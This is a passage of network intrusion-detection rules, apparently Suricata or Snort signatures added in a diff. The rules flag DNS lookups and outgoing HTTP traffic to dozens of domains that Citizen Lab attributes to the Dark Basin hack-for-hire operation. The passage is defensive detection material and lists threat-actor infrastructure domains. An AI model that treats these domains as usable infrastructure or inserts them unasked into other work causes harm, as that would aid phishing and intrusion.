reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basicservicerus.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basicservicerus|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356111; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basicservicerus.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basicservicerus|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356112; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basicservicerus.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basicservicerus.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basicservicerus\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356113; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basicservicesg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|basicservicesg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356121; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basicservicesg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0e|basicservicesg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356122; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basicservicesg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basicservicesg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basicservicesg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356123; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: basicsgoffshore.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basicsgoffshore|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355801; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: basicsgoffshore.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|basicsgoffshore|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355802; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: basicsgoffshore.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"basicsgoffshore.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])basicsgoffshore\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355803; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: bellsouthnetwork.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|bellsouthnetwork|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357091; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: bellsouthnetwork.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|bellsouthnetwork|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357092; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: bellsouthnetwork.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"bellsouthnetwork.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])bellsouthnetwork\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357093; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: belowmargins.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|belowmargins|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356691; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: belowmargins.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|belowmargins|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356692; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: belowmargins.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"belowmargins.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])belowmargins\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356693; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: bitserverhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|bitserverhk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355731; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: bitserverhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0b|bitserverhk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355732; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: bitserverhk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"bitserverhk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])bitserverhk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355733; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: bitserverlux.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|bitserverlux|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355741; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: bitserverlux.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|bitserverlux|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355742; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: bitserverlux.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"bitserverlux.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])bitserverlux\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355743; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: blogforpranks.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|blogforpranks|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356611; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: blogforpranks.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0d|blogforpranks|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356612; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: blogforpranks.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"blogforpranks.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])blogforpranks\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356613; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: blogserverlx.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|blogserverlx|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355251; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: blogserverlx.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0c|blogserverlx|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355252; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: blogserverlx.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"blogserverlx.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])blogserverlx\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355253; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: browserdirectservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|browserdirectservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356871; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: browserdirectservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|14|browserdirectservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356872; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: browserdirectservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"browserdirectservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])browserdirectservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356873; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: browserextensions.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|browserextensions|04|info|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1353931; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: browserextensions.info"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|browserextensions|04|info|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1353932; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: browserextensions.info"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"browserextensions.info"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])browserextensions\.info[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1353933; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: browserredirect.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|browserredirect|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1356881; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: browserredirect.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0f|browserredirect|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1356882; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: browserredirect.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"browserredirect.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])browserredirect\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1356883; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: bsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|bsrvrer|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357311; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: bsrvrer.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|07|bsrvrer|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357312; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: bsrvrer.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"bsrvrer.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])bsrvrer\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357313; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: budgtoffmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|budgtoffmy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357711; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: budgtoffmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|budgtoffmy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357712; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: budgtoffmy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"budgtoffmy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])budgtoffmy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357713; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: budgtoffru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|budgtoffru|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357721; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: budgtoffru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|budgtoffru|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357722; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: budgtoffru.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"budgtoffru.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])budgtoffru\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357723; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: buzzoffbul.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|buzzoffbul|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355901; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: buzzoffbul.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|0a|buzzoffbul|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355902; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: buzzoffbul.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"buzzoffbul.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])buzzoffbul\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355903; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: buzzoffhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|buzzoffhk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355911; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: buzzoffhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|buzzoffhk|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355912; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: buzzoffhk.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"buzzoffhk.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])buzzoffhk\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355913; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: buzzoffmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|buzzoffmy|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355921; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: buzzoffmy.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|buzzoffmy|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355922; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: buzzoffmy.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"buzzoffmy.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])buzzoffmy\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355923; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: buzzoffru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|buzzoffru|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355931; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: buzzoffru.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|buzzoffru|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355932; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: buzzoffru.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"buzzoffru.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])buzzoffru\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355933; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: buzzoffsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|buzzoffsg|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355941; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: buzzoffsg.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|09|buzzoffsg|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355942; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: buzzoffsg.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"buzzoffsg.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])buzzoffsg\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355943; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: capitalinvestmentsllp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|capitalinvestmentsllp|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1355271; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: capitalinvestmentsllp.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|15|capitalinvestmentsllp|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1355272; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: capitalinvestmentsllp.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"capitalinvestmentsllp.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])capitalinvestmentsllp\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1355273; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: cathostingservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|cathostingservice|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357111; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: cathostingservice.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|cathostingservice|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357112; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: cathostingservice.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"cathostingservice.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])cathostingservice\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357113; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: chatserverrussia.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|chatserverrussia|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1357211; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: chatserverrussia.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|10|chatserverrussia|03|com|00|"; fast_pattern; nocase; flow:established; classtype:trojan-activity; sid:1357212; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg: "Dark Basin Outgoing HTTP Domain: chatserverrussia.com"; flow:to_server,established; content: "Host|3a|"; nocase; http_header; content:"chatserverrussia.com"; nocase; http_header; pcre: "/(^|[^A-Za-z0-9-])chatserverrussia\.com[^A-Za-z0-9-\.]/H"; tag:session,600,seconds; classtype:trojan-activity; sid:1357213; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert udp any any -> any 53 (msg: "Dark Basin Domain: checkmailserverhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; content:"|11|checkmailserverhk|03|com|00|"; fast_pattern; nocase; classtype:trojan-activity; sid:1354751; rev:1; priority:1; reference:url,https://citizenlab.ca/2020/06/dark-basin-uncovering-a-massive-hack-for-hire-operation/;) +alert tcp any any -> any 53 (msg: "Dark Basin Domain: checkmailserverhk.com"; content:"|01 00 00 01 00 00 00 00 00 00|"; depth:10; offset:2; 